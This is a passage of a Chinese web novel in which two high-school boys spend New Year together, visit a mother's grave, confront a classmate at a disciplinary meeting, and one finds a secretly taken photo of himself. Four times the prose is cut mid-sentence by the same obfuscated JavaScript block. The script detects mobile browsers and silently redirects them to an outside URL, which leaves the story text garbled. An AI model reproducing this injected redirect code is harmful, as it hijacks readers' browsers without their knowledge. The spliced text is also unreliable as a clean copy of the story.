除夕夜看完烟花回去后,就差不多零点了,李斯年将饺子一起拿到梁芷家里煮,四个人听着电视里的倒计时吃完了饺子。 孙家娟拿出早就准备好的三个红包,连许之的份也有,这其实是他有生以来第一次收到压岁钱,他面上没表露出什么,笑着道谢后,暗暗心怀感激的接下了。 夜深了,许之这时候再回自己的住处未免显得这个除夕夜太过寂寥收尾,于是李斯年以“反正床还没收拾,被褥都是现成的”为理由,又拉许之回出租屋。 次日大年初一,二人都睡到了自然醒,煮了一锅热乎乎的饺子,又给小白热了不掺水的猫饭,两人一猫都吃得很满足。 收拾完碗筷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473283|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李斯年问:“我想去墓园看看郑秀,一起吧。” “不太方便吧。”许之以为他只是礼貌性的邀请,自己若真是答应,说不定会显得唐突,“你去吧,我也该回去了。” 李斯年一笑:“这有什么不方便,我妈人很好的,特别讲道理,不会因为你妈妈是谁而不喜欢你的。” 他都这么摊开来说了,许之心中微妙的隔阂也就自然的消散。 他越来越发现李斯年好像就是有这样的魔力,他的坦荡无处不在,却完全没有攻击性,只有真诚,和这样的人相处,应该很难有长久的冷战发生。 就好像上次因为替考,二人吵得最狠的那一架,最后也是由李斯年主动找由头破冰。 以后若是谁能被李斯年喜欢、成为他的伴侣,该多么幸福且有安全感啊。 这样的想法从许之脑海闪过,他警觉一瞬,强迫自己不要再想。 最近是怎么了,李斯年对他越好,他就越忍不住想这些事,就像是被骄纵坏了的小孩,得寸进尺的渴望那些不该得到、也不会得到的东西。 这样仗着友谊做遮掩所维持的关系,让许之时常觉得自己有些卑鄙。 李斯年若有一天知道自己当成好兄弟对待的人,其实分分秒秒、桩桩件件都试图在友谊中体验爱意,恐怕也会觉得有点膈应吧? 打出租车去墓园太贵,李斯年还是决定多转几趟公交车,虽然最后的下车点离目的地也还有些距离,还好今天天气不错,就当散步也好。 大年初一,沿路的花店都没开门,李斯年想给郑秀带束花的愿望落空。 不过他没有失落太久,而是在路边陆续摘了些狗尾巴草,编成了一个花环和一个非常简易的拉锯小玩具。 “我妈小时候经常编这些,逗我和糯糯玩。”李斯年把花环放在许之头上比划了一下,然后放了上去,满意的笑:“好久没编了,我可真是宝刀不老啊!” 许之也没躲,任由花环旁边伸出的狗尾巴将自己头发弄乱,只是安静的笑。 秋冬的狗尾巴草不再是嫩绿色,而是近乎干枯的褐色,它们被李斯年一根一根互相交织簇拥,最后编织为一股绳,反而将那种枯萎感拧成了坚韧。 这和许之性格里某些东西奇妙的契合了,戴在他头上,令他看起来有种不自知的、被大自然赋予的野性与生命力。 “长得好看就是可以为所欲为啊。”李斯年故意用酸溜溜的语气掩盖心中的悸动,“换做其他人,十七八岁戴这种东西只会显得幼稚,但到你头上却很合适。” 许之又是一笑,将花环从自己头上拿下来,给李斯年戴上,左看看右看看:“你戴着也不错。” “真的?”李斯年心里一乐,难得许之会夸他。 “真的——”许之顿了顿,笑意里带了些戏谑,“我大概猜得到你小时候是什么样了。” “那不还是幼稚的意思嘛!”李斯年瞪着眼,“我看你现在都会拐着弯损人了,学坏了。” 许之也跟着笑,李斯年装作生气的哼哼两声,加快步伐,走到前面去了。 此时差不多到了下午四点,太阳倾斜了角度,却不减光芒,从二人正前方洒下。 李斯年头上的狗尾巴花环尚未取下,连同他高大挺拔的身形都被勾勒出一圈金色的线条。 许之忽然想起之前在垃圾中转站,李斯年非要拉着他去医院打破伤风针的那天。 那天的斜阳也是这样的。 许之鬼使神差的掏出手机,调了静音,对着李斯年的背影,按下快门键。 57.记过 终于来到墓园大门,沿着山坡纵向向上的一排排墓地引入眼帘,排布整齐、规制统一。 正中央的一片长廊造景宽阔敞亮,修得比许多公园还要壮观漂亮,看得出是极为高档的墓园。 这里很安静,大多数初一悼念的人都是一大早来的,此刻只剩香火残存的味道弥漫四周。 许之还是第一次来这样的地方,和想象中有些不同,悲戚的氛围并不浓烈,更多的是一种极致的安静。 或许死亡本身就是这样,痛苦是留给生者的,这里只存永恒的安宁。 李斯年把狗尾巴草编的东西放在郑秀墓前,许之看到墓碑上有一张郑秀的黑白遗照,笑容柔和,瓜子脸,中长发搭在肩上。 李斯年长得很像她,尤其是那一双明亮的眼。 “妈,新年快乐。”李斯年取出纸巾,将原本就不算很脏的墓碑边角仔细擦了:“今年过年有点特别,糯糯去外婆家过,我在出租屋,和许之、梁芷还有孙姨一起过的。一切都很好,不用担心。” 李斯年的话不是很多,简单说完,就去给郑秀换新香,许之也跟着蹲下身上了香,礼貌的说了声:“阿姨,新年好。” 似乎也没什么更多可以说的,于是又站起身来。 李斯年还蹲着,他将低下的头抬起,正好能平视郑秀的遗像。 无论多少次,他看到母亲的遗像,都会有一种错觉,仿佛那黑白颜色只是假象,再眨眨眼,黑白就会变成彩色,郑秀停在微笑的嘴角就会再次扬起。 这么多年过去了,他好像还是会有些瞬间,不能很好的接受郑秀已经去世的事实。 “妈妈,告诉你个秘密,许之是我喜欢的人喔。”李斯年看着郑秀的双眼,在心里慢慢说,“你不要生气,他真的是个很好的人,以后你慢慢就会知道啦。” 太阳缓缓坠落,点燃了天边大片大片云彩,许之耐心的等李斯年站起身,不确定他会不会因为来墓园见母亲而伤心,所以主动开口:“饿不饿,晚上想吃什么?” 李斯年想了想:“想吃你做的那种鸡蛋炒糊了的番茄鸡蛋面。” 还能开玩笑,看来没有大碍,许之一笑:“好,今天给你做连番茄都一起炒糊的那种。” - 许之住回出租屋这件事发生的非常自然而然。 年后的某天,他买了肉来出租屋给小白做猫饭时,顺口提了一句“我租的房子快到期了”,李斯年当然巴不得赶紧邀请他住回来。 次日许之就收拾东西搬了回来。 高三下学期的开学比正常开学时间提前了一周,元宵节还没过、育德学校大门前尚且挂着年味十足的大红灯笼,准高考生们就背着书包陆续走进了教室。 第二节课是化学课,下课后的大课间,李斯年刚要和许之、方行舟一起去操场,董老师就叫住了其中两人。 “李斯年、许之,你们跟我来一趟办公室。” 许之不明所以的看向李斯年,后者已经大概知道是因为什么,回了他一个安抚的眼神。 来到化学办公室,董老师座位旁边已经站着一个人了,那人听到动静,像是受惊的兔子一样回过头,双眼也红得像是兔子。 是魏旬。 许之心中有了些猜测。 董老师拉了几个椅子:“坐。” 在李斯年和许之坐下后,魏旬才磨磨蹭蹭的也坐下。 “李斯年,放假前你跟我说的情况,学校这边已经核查清楚了。” 董老师说着,拿起冒着热气的保温杯边吹边喝了一口,也不知是被烫的、还是恼的,叹了口气。 “魏旬跟钱霆还有校外混混有联系的事情的确属实,不过除了你和我说的那件事之外,混混们犯得其他许多事情,应该是和魏旬没太大关系。” 这调查结果算是不偏不倚,与李斯年所猜一样。 他觉得魏旬最多提供了一些信息,而那些信息钱霆等人会如何利用、利用来做什么,魏旬可能不会全都知道,后续具体行为也没有参与。 “许之落水的事情学校也了解过,但没有直接的证据证明是钱霆出手推的、或者让别人推的,所以没有办法继续追究,只能口头训诫为主。”董老师说得这些也在李斯年预料之中,“综合这些情况来看,学校决定给钱霆记大过一次、魏旬记小过一次、留校察看,二人全校通报批评。” 随着董老师的话,魏旬又开始忍不住流眼泪,整个人越抖越厉害,直到最后像是筛糠似的,连凳腿都因此挪出吱呀声响。 董老师看了他一眼,心里也是又怜又恨。 其实年前李斯年向他说这件事时,他第一反应也是:不会吧?或许有什么误会?” 魏旬毕竟做了他近三年的化学课代表,从来都是勤勤恳恳、唯命是从,这么一个讲话都不敢太大声的老实的孩子,怎么会和混混们混在一起呢? 然而调查结果却是将铁一般的事实摆在眼前。 而当庄主任和他叫来魏旬与其家长时,看到魏旬惨败如纸的脸,董老师心下就更确定了,他的好课代表,大概是真的做了那些事。 “行了行了,马上就快成年的大男孩了,哭成这样像什么样子。”董老师皱着眉,但还是抽了几张纸递给魏旬,“知错就改,这时候回头还不晚,去!跟许之道个歉!” 董老师的声音中气十足、不怒自威,魏旬不敢再哭,有些狼狈的抽噎着气,站起来,转向许之。 “许之,对不起。”魏旬说。 “具体对不起什么,态度认真点!”董老师说。 魏旬咬着唇,扶了扶眼镜,半晌又开口:“我、我不应该因为嫉妒,就引你去钱霆那……我不知道他会做那些事,如果重来一次,打死我也不说我看到手表了,真的对不起。” 许之明白今天这一出是因为手表那件事了,只是不知道李斯年是怎么晓得的,竟然在年前就向董老师告了状。 他没有立刻接魏旬的话,只是直直的看向对方,一双漂亮的眼睛里仿佛盛着霜雪。 魏旬这道歉挺避重就轻的,反正真正做坏事的还是钱霆,而他只是鬼迷心窍间引了个路,不知情的酿成了大错。 他恐怕也是这么和老师们狡辩的吧,怪不得只得了个记小过的结果。 但许之一想到李斯年在巷子里被几个手拿钢管的混混围着的画面,就完全不想放过魏旬,他冷声开口:“你确定……只是对我说对不起吗?” 魏旬结巴一声:“什、什么?” 许之:“你不是最该对李斯年道歉吗?” 魏旬浑身一僵。 “什么意思?”董老师先是迷惑,后又回过味来,声音是真的严厉了起来:“魏旬,你还做了什么别的事?!” “没有、我没有……我真的没有!”魏旬意识到了什么,慌张的摆手。 李斯年也扭头去看许之,只见他唇角勾起一个明显的弧度,眼中却清冷异常,甚至带着些玩味和嘲弄。 他的围巾落在了教室里,此刻从领口露出一片白皙的脖颈,忽然让李斯年想到冬日雪地里裹挟风雪而来的白狐,有种令人窒息的危险与艳冶。 我家小狐狸真好看,李斯年想。 “孟畅畅生日那天,李斯年在KTV旁边的巷子里被钱霆和几个混混堵了,也是你跟钱霆通风报信李斯年动向的吧?”许之缓缓说完,见魏旬张口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484867|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又要否认,立刻一句话堵住了他的嘴:“求证不难,麻烦董老师或者庄主任问问钱霆就行。” “什么!”董老师当然知道巷子里斗殴的那件事,他不可置信的看向魏旬,“那次也跟你有关系?!” 魏旬脸色极差,像是下一秒就要晕厥过去,他一直以为许之是个色厉内荏的漂亮小白脸而已,万万没想到他会在这个节骨眼上突然发难。 这次记过,主要是针对手表的事情,钱霆和那些混混也不是傻子,没人去提之前对李斯年的针对。 但如今许之将事情全部捅了出来,而钱霆在庄主任手里,是泥菩萨过江自身难保,想来不仅会很愿意将魏旬参与的部分交代完整,说不定还会趁机多给他泼点脏水,拉着大家一起下地狱。 “魏旬,真的吗?”这件事在李斯年意料之外、却在情理之中,他故意露出惊讶的表情,和许之打着配合:“我、我没想到你对我的恶意到了这个程度……” 董老师按着太阳穴,只觉得一个脑袋两个大。 本来这件事就够闹心了,以为今天能处理完,没想到拔出萝卜带出泥。 董老师恨铁不成钢的用力拍桌子:“魏旬,你太让我失望了!这个化学课代表你也别当了,现在就打电话把你爸妈叫过来!” 这声怒吼下,全办公室其他装作在忙、实则吃瓜的老师们都不由得屏息安静了几秒。 魏旬觉得自己就像是被扒了皮架在烤架上的鸡,煎熬难耐,想死的心都有了。 “董老师,不是的,我、我……”他还想狡辩。 “你别说了,先叫家长来。”董老师已经不再相信魏旬口里说出的话了,“其他的事情我会让学校核实的,你没做,不会冤枉你,但你如果真做了,就不仅仅是记小过这么简单了!” 毕竟那一次斗殴的确是钱霆主动去找的李斯年麻烦,那钢管落在李斯年、许之身上是实打实的印子,双方进了警察局,白纸黑字的口供都留下了。 和许之不明原因的跳河捞手表完全不是一个性质。 之后的事情就和李斯年、许之没什么关系了,二人从董老师的办公室出来,正好去上第三节体育课。 “你在上次给我写纸条时,就知道魏旬和钱霆有染了吧?”李斯年问。 许之:“嗯,因为手表在钱霆手里这件事,是魏旬告诉我的,我觉得有点太巧了。” “你这简直是柯南再世啊!”李斯年再次惊讶于许之的敏锐与谨慎,“那KTV的那次呢?” “还是一样,太巧了,你那天是临时起意出来的,如果没有内应,钱霆不太可能把你堵得那么正好,但我的确没有证据,所以也只能叫你小心点。”许之表情温温和和的,全然没有了方才在办公室对魏旬的阴冷脸色。 李斯年瞧他这个模样,只觉得一颗心软乎乎的,就好像许之是只刺猬,但只对自己展露出肚皮。 想到这里,那天在河边给许之做心肺复苏时的恐慌感又一次卷上心头:“以后这种事就不要瞒着我了,要不是被我听到钱霆和魏旬讲话,我都不知道你是这么找到手表的,想想就后怕!” 许之嗯了声,解释道:“因为我听李倾诺说那手表是你妈妈送的,应该很重要。” “是重要,但也要看跟什么比……”李斯年嘟囔了一句。 对于现在的他来说,许之当然比那块手表重要,他想郑秀也会理解并同意自己的。 “什么?”许之没听清。 “没什么。”操场就在前方,李斯年笑着勾上许之的肩,带着他往前走。 “这些糟心事也算是告一段落,今天中午就不去食堂了,我请你下馆子,咱们去去晦气!” 58.学弟 中午,李斯年带许之去了一家江城挺有名的北京烤鸭店。 许之第一次知道原来烤鸭里还可以卷白糖或酸梅膏,甜味很好的中和了鸭皮上的油腻感,又不会抢了咸香味的风头。 只是最后结账时小票上的数字让许之非常心痛。 李斯年将小票揉成团丢进纸篓里,揽了人往外走:“没事,我算着账呢,房租和生活费都还够!” 天气预告说接下来一周可能会迎来初雪,往年通常在年前就落下了,今年这算是迟了。 这几日的风刮得更猛,萧瑟刺骨,在午后空旷的操场上呼啸。 李斯年感觉到自己手臂内侧与许之接触的部分渐渐笼起一片暖意,这时候收手许之恐怕会觉得凉,于是就继续这么搭着了。 反正同龄男生之间这么勾肩搭背也是很正常的事情,没谁会觉得奇怪。 许之也没说什么,照常将半张脸埋进拉高的衣领里。 二人就这么一路无话,闷头走到了高三教学楼外围。 “学长!” 一个清亮的声音响起,李斯年觉得有点耳熟,回过头,看到一个身穿奶白色羽绒服、围着宝蓝色围巾的男生向他小跑而来。 男生在李斯年面前站定,呼出晶莹透亮的白气,在围巾边缘的浮毛上凝结成水珠,五官和脑袋都圆圆的,看起来像个乖巧的小狗狗。 “姜源?”李斯年见人也没什么表情,语气淡淡的问:“什么事?周末补习要请假的话,发个消息就行。” 姜源咧嘴一笑,唇红齿白:“我才不请假呢,新年过得好吗,学长?” 李斯年有些不明所以:“还行,你到底有什么事?” 姜源笑盈盈的,却没立刻说话,而是瞟了一眼许之。 许之意会,抬脚道:“我先回教室了。” “不用。”李斯年说完,对姜源的语气夹杂了些不耐:“你到底要说什么,快说。” 姜源有些不快的嘟嘟嘴,模样还挺可爱,但李斯年却只觉得烦,他只想快点和许之回到那个门窗紧闭、温暖的教室,而不是在这里吹风。 “学长,我寒假里考虑好了,我、我也喜欢你!”姜源闭着眼说完,几秒后,才敢睁开看人。 李斯年在冷风中凌乱,第一反应是回头去看许之,对上他从衣领上沿露出的、看不出喜怒的眼睛。 “等等,你等等……”李斯年伸手,拦住往前半步想要靠近的姜源,“你是不是误会了,我什么时候喜欢你了?” 姜源眨了眨亮晶晶的圆眼睛,半晌,像是想通了什么:“啊,学长,你害羞啦?” “我害羞个屁啊!”李斯年忍不住爆了句粗口,急迫道:“你给我说清楚了!” “你……你给我补习啊,两个小时的补习,经常拖到两个半小时,还会额外给我讲解很多课外的试卷,多亏学长,我这次期末考试排名提高了三百多名呢!”姜源说。 李斯年扶了扶额:“那是因为你基础太差了,我不拖堂题目就讲不完,而且高二年级九百多人,你倒数十几名,稍微认真点学,提高个三百名不是很正常的事情?” 姜源一愣,又说:“那你还经常给我带吃的呢,有次是可乐饼、还有次是榴莲,我喜欢吃什么口味你都一清二楚!寒假前最后那次补习,离开时你和我说,让我好好想想,年后再给你答复,我这些天认真的思考好了,我觉得两情相悦就应该在一起……” “不是……那天我让你想,是想模拟卷最后一道大题的解法!你理解到哪里去了?!”李斯年哭笑不得:“而且那些吃的,不是我给你带的,是你妈妈买的外卖,放在保安亭里,她拜托我顺手提上去而已,你要谢就谢你妈,了解你口味的人是她。” 姜源听完,嘴微微张着,花了好一会才反应过来:“所以你、你根本不喜欢我?” “是啊,我们就是补习和被补习的单纯关系!”李斯年说。 姜源脸上后知后觉爬上红晕,意识到自己刚才做了一件多么丢脸的事情,懊恼道,“你、你怎么这样啊,跟个中央空调似的!不喜欢别人就不要对别人那么好啊。” 李斯年长叹一声,觉得特别冤枉:“天地良心,我只是一个敬职敬责的兼职补习老师而已。” 对方是他的客户、给工资的衣食父母,当然要态度良好了。 再说,一直以来他也只是正常给人上课而已,期间都很少有表情变化的,要怪只怪姜源好像过于情窦初开,把周遭一切都放大和曲解了。 李斯年耐心劝说:“反正现在解释清楚就好了,你才高二,别想这些乱七八糟的,还是要好好学习,恋爱等大学再谈也不迟,知道吗?” 姜源羞得整张脸全都红了,像是剥了壳下锅煮过的虾米:“这、这不用你管啦!” 说完就走,走了两步又回过头来,愤愤道:“以后也不用你帮我补习了!” 然后快步离开。 人走远,李斯年听到身后许之噗嗤一声笑了出来。 “看戏看得挺开心哦?”李斯年回头瞪了他一眼。 许之笑得肩膀耸动,摆摆手,好半天才缓过来:“你这兼职丢的也太有戏剧性了。” 李斯年也觉得实在是荒唐,跟着笑起来:“我有什么办法啊,人太帅了真的是一种烦恼,男女通吃这件事我也不是故意的!” “怪我,如果不是我,你也不会被当做同性恋惦记了。”许之这话是笑着打趣说的,看来之前的隔阂在他心里已经完全消散了。 插曲告一段落,二人继续往楼梯那边走,教室里这个时候还是空无一人的,李斯年拉上窗帘,看许之又从抽屉拿出练习册。 “不睡会?”李斯年问。 许之摇头:“吃太饱了,趴着睡不着。” 李斯年想说“那要不要靠在我肩上睡”,又怕显得自己的心思太过昭然若揭,他坐回座位,不知想了些什么,转过身来,手臂搭在许之桌上:“话说,像你们这种……群体,如果对方是直男,就不会喜欢了吗?” 他这话问得非常自然,像是还沉浸在刚才被告白的震惊里而延伸出的疑惑。 许之于是实诚的答了:“喜不喜欢这件事很难控制吧,但如果是直男,可能就不会轻易告白了,否则也容易给别人造成困扰。” 这话落在李斯年耳中,被他下意识自动翻译成了:我喜欢你,但你是直男,所以我怕说了你会困扰。 要命,所以许之到底是不是喜欢他啊? 李斯年向来相信自己的直觉,许之肯定对自己是有部分好感的,只是这好感到底有没有到喜欢的程度,他把不准。 刚才那个男生对自己告白时,许之似乎也没有吃醋的意思…… 李斯年按耐住心中的痒意,不能坦坦荡荡问出那句话的滋味真的太难受了! 忍了又忍,他终于还是隐晦的说了句:“不会考虑努力尝试一下吗?毕竟直男也有可能被掰弯。” 许之眼神古怪的看向他:“你是……希望我去和那个男生说一声,叫他再努力一下?” 李斯年气得差点鼻孔冒烟,这人不是年级第一很聪明的脑袋吗?!怎么到这种时候就转不过弯来呢,他根本没提那个男生啊。 问的是你啊! “没有,我对他完全没意思。”愤怒到嘴边,化成一句软绵绵的解释,李斯年跟泄了气似的皮球一样,慢悠悠地转过身去,继续趴到桌上。 没有发现许之原本回到练习册的目光悄悄抬起,停留在他背影上许久。 - 李斯年没料到姜源还会来找他。 而且是夺命连环call。 这人身上好像有着令人匪夷所思的不屈不挠意志,虽然那天恼羞成怒地对李斯年放了狠话,但没过两天就又把他从黑名单里放了出来,开始每天早安晚安的问好。 虽然李斯年期间没给姜源发过消息,丝毫不知道自己在黑名单里进出了一回。 李斯年从前也遇到过类似的追求者,他的处理办法向来都是晾着,晾一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494372|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,对方就会知难而退。 但姜源好像格外不畏惧困难。 傍晚的篮球场上,三个少年奔跑着身形交错,篮球在许之手下弹跳,随即被传给方行舟。 后者余光瞥见李斯年的身影,来不及再运球,匆忙地跳起投篮。 自然是没有投进去。 “李斯年,你就不能让让我,我初学者诶!”方行舟喊了声。 他这两天也不知道是从哪里听说,王雪菁喜欢的类型是阳光帅气打篮球的大男孩,于是非要缠着李斯年教自己打。 一对一还不够,也要把许之拉上,说这样才有助于技术提高。 “严师出高徒嘛,我这也是对你负责。”李斯年咧嘴一笑。 球落地,滚向篮筐后方,方行舟小跑两步去捡,正看到几人放在球场边的手机,属于李斯年的那一个屏幕亮起:“诶,那个学弟好像又在给你打电话!” 李斯年抬手用腕巾擦了顺着鬓边流下的汗,他们已经打了二十多分钟的球,外套早就脱了,此刻只穿着一件单卫衣,袖口拉到一半,露出部分精壮有力的肌肉线条。 “不管,挂了。”李斯年说。 “你真是绝情啊。”方行舟笑着,虽然这么说,还是果断帮他挂了电话。 他没有故意想看李斯年的微信消息,但电话一挂,界面就自然回到了锁屏。 姜源被挂电话后,又开始秒发微信,而李斯年没有设置锁屏界面禁止预览。 “诶,你还救过姜源的命么?”方行舟问。 “什么鬼?”李斯年一脸迷惑,走过来。 “我看他跟你说什么……要报答救命之恩。”方行舟给他看手机。 李斯年瞧了一眼,无语道,“有一次我看到他小区里学骑自行车,不小心摔进水池里,那个水才到膝盖,但他硬是扑腾了半天起不来,我就拉了他一把。” 方行舟哈哈大笑:“这个姜源还真有点意思啊!蠢萌蠢萌的!” “有意思换你试试。”李斯年看到微信消息还在不断往外弹出提醒,只觉得烦躁,下滑功能界面,点开了飞行模式 “那我知道他为什么喜欢你了。”方行舟边说,顺手拧了瓶水递给旁边两个人,“这种心理,我在一本书上看到过,叫什么效应来着……喔对!吊桥效应!” “吊桥效应?什么意思?”李斯年没听说过。 许之接过水,动作利落的仰头喝了,解释道:“那个效应是说,一个人在处于高压或刺激环境时,会心跳加快,如果在这时碰巧遇到另一个人,可能会将心跳加快归因于对方,从而误以为是心动。” 方行舟猛猛点头:“对对对,就是这个!你怎么这么了解,简直和背书一样。” 许之有些不好意思的笑了笑:“因为对心理学有兴趣,所以看了写书,了解皮毛。” “可是……就因为我把他从水里救上来,所以喜欢我?这也太随便太轻易了。”李斯年问。 “因为感谢而衍生出喜欢,也是常见的情况,毕竟人的感情很复杂,会有多重因素的叠加,或许还因为你本身外表就是他喜欢的类型也说不准。”许之说。 李斯年听得心中微动,悄悄看了眼许之的表情,见他的确是在就事论事地剖析,于是趁机夹带私货的问:“因为感谢所以喜欢,还算是真的喜欢吗?” 许之想了想,谨慎地说:“不一定,得具体看情况吧,因为人有时候也会分不清报答、讨好和喜欢的区别,它们在心理活动和行为表象上可能会显得类似,都是‘希望对方开心’并且‘投其所好’。” 他以为李斯年说得还是姜源:“我也不确定姜源到底是什么情况,可能说错了,你们听过就过吧,不要太当真。” 这对话渐渐逼近了李斯年心中那个纠结许久的问题,他不由得有些焦急,仿佛要是错过了此刻的话题机会,之后再想提起就更难了。 李斯年极力克制着心情,语气维持闲聊的口吻:“那你呢,能分得清感激和喜欢吗?” 59.照片 许之一怔,表情忽然有些凝固。 李斯年心叫不好,自己是不是问得有点太明显了,于是赶紧找补:“你以后不是想做心理咨询师嘛,我就想着,如果咨询师也分不清,是不是没办法帮助别人了?” 许之静静地看了李斯年两秒,在他忐忑不安渐渐加重时终于开了口,语气还算平稳正常:“应该是这样,听说就算成为了心理咨询师,也是要定期接受督导的,去解决自己的一些问题。” 他放下水瓶,停顿片刻,又轻声补了句:“我分得清。” 简简单单的四个字如炮竹般在李斯年心中炸开。 其实他怕的一直都不是表白被拒,而是许之违心的接受。 既然他说分得清……自己是不是就不用有所顾虑了? 李斯年怕自己压不住的嘴角被看到,借由转身拿外套的动作,快速做了几个深呼吸,赶紧岔开了话题:“饿了,去吃点东西吧。” 方行舟抬手看了眼表:“今天打了太久球,怕赶不及晚自习,点外卖去教室吃吧。” “好。”李斯年拿起手机,想起来自己刚才设置了飞行模式,他手停顿在图标上,对于联网之后又会涌出的无数消息和未接记录感到有些头疼和畏惧。 迟疑这片刻,面前伸过来另一个手机。 “拿我的点吧。”许之仿佛知道他在想什么。 李斯年“嗯”了声,感激的看了他一眼,接过手机,点开外卖app。 既然要带到教室吃,味道比较大的就不方便了,最近天气冷,都不好打开窗户通风透气,于是李斯年翻翻找找,最终决定点几份寿司卷和热饮。 因为李斯年的银行卡被李宇停掉了,所以钱都是存进许之的账户里,为了平时方便,所以许之告知了支付密码,李斯年驾轻就熟的支付好,上滑退出app。 就在那瞬间,多个后台未退出app的略缩图一晃而过,李斯年敏锐的发现了什么。 他快速抬起头,看到许之和方行舟刚去归还了篮球,正从球场的斜对角往这边走,边走边说着什么,大概还有十几秒走到这边。 李斯年的心砰砰直跳,喉头不自觉的滚动一下,电光火石之间做下了决定。 他手指快速滑动,点向最左侧的那个略缩图。 略缩图展开,是相册app,最新拍摄的一张照片出现在眼前。 拍摄时间是大年初一那天的下午,照片里是一个逆着光的男生背影——是他的背影。 - 晚自习是语文和英语老师讲卷子,李斯年一顿寿司吃得如同嚼蜡,也没注意是什么口味,心思乱糟糟的全部往身后那人飘去。 人会在什么情况下偷拍别人? 发现猎奇的事情、别人的秘密?但这张照片明显不属于此种情况。 觉得他头戴狗尾巴花环的样子很搞笑?那为什么只是自己默默拍了照,没给他看,然后趁机笑他一下。 不小心碰开相机界面,又误触快门键?这种可能性太小了,而且那张照片里,自己的背影位于正中央,不晃动不模糊,更像是认真拍的。 单纯觉得那时候风景很好?但郊区的马路牙子有什么好看。 李斯年揣着一颗狂跳到几乎让人缺氧的心,努力保持沉着冷静、理智清晰的排除掉了所有可能性,怀着非常雀跃的心情揭开仅剩的一个答案—— 他暗恋我。 怎么办,许之好像真的喜欢我诶。 “李斯年……” 他从什么时候开始喜欢我的?怎么之前我都没感觉到? “李斯年!” “啊?什么?”李斯年猛地回过神。 “往后传啊!”方行舟拿着一叠试卷,在他面前甩得刺啦响,看到李斯年的脸,又疑惑的问,“你怎么脸这么红啊,发烧了?” 李斯年搓了一把脸:“冻得!”然后接过试卷,侧身往身后递。 许之很快就接了。 李斯年现在还不敢看他,怕目光撞上,会被瞧出什么。 幸福来得太突然,他感觉自己快被砸晕了。 就这么晕晕乎乎的结束了晚自习、晕晕乎乎的回到出租屋。 敏锐如许之,自然发现有些不对劲。 “你怎么了,真受凉了?”许之问。 李斯年顺坡下驴吸吸鼻子,用假装感冒来掩盖自己的异样:“好像是,快下雪了,这两天真冷啊。” “等化雪时会更冷的。” 本来二人都洗漱完毕,各自进被褥了,许之又披上外套起身,烧了壶热水,冲板蓝根给李斯年:“先压一压,明天要是还有症状就去校医院看看。” “谢谢。”李斯年接过板蓝根喝了,热流从喉咙暖到胃,连药味也变得甜蜜。 冬夜要比夏夜更加安静,关灯入睡后,屋外静的仿佛这世界上的人一瞬间全部消失了,只剩他们二人。 树叶都掉光了,风吹来,只剩贯穿树干枝丫的声音,如同身处旷野。 李斯年毫无睡意,他闭着眼,在一阵阵风的动静里去听许之的呼吸声,越来越沉,大概已经睡着了。 他悄无声息的睁开眼,黑暗中,许之的眉眼鼻唇只剩隐约可见的轮廓。 李斯年此刻心跳已经渐渐没那么快了,转而是一种极致的满足感,仿佛心是一个气球,被吹得鼓鼓的、麻酥酥的,他觉得自己是这世界上最幸运的人。 只要许之在身边,他就再没什么所求、也没有什么所畏。 - “你借重铬酸铵做什么?”董老师批改作业的手一顿。 “上学期的那个实验,我没做好,想再做一下。”李斯年说。 董老师反应过来:“喔,那个,其实成不成功都没关系,原理晓得就好了,高考也不考那个实验的实操。” “但我还是想完整实现一次。”李斯年语气很认真,“不然总有些遗憾。” 董老师知道他向来对于化学相关的东西都是这样追求完美,能有这样的学生,作为老师自然也是很欣慰的。 于是他站起身,在材料成列柜里翻找片刻,拿出一个玻璃瓶:“用这个吧,别班的老师前两天课堂示范时正好剩了点。” 李斯年看了看颜色:“三氧化二铬?” 董老师点头。 李斯年却是把瓶子递还了回去,礼貌而挑剔:“试剂和现制,在催化效果上可能有些许区别,我怕影响实验效果。” 董老师反而一笑:“好好好,较真也是好事,不过办公室没有重铬酸铵,你等我回头去实验室找找。” “谢谢老师,那我明天再来问您。”李斯年说。 董老师只当他是求知若渴:“这么急呢?放心吧,肯定有,但具体实验时要在老师的监控下进行,到时候我和你约一个没课的时间。” 李斯年满口答应:“好,谢谢老师!” 董老师那边说到做到,次日就让方行舟给李斯年带了话,说实验室里有重铬酸铵,但他第二天正好有一整天的会,叫李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 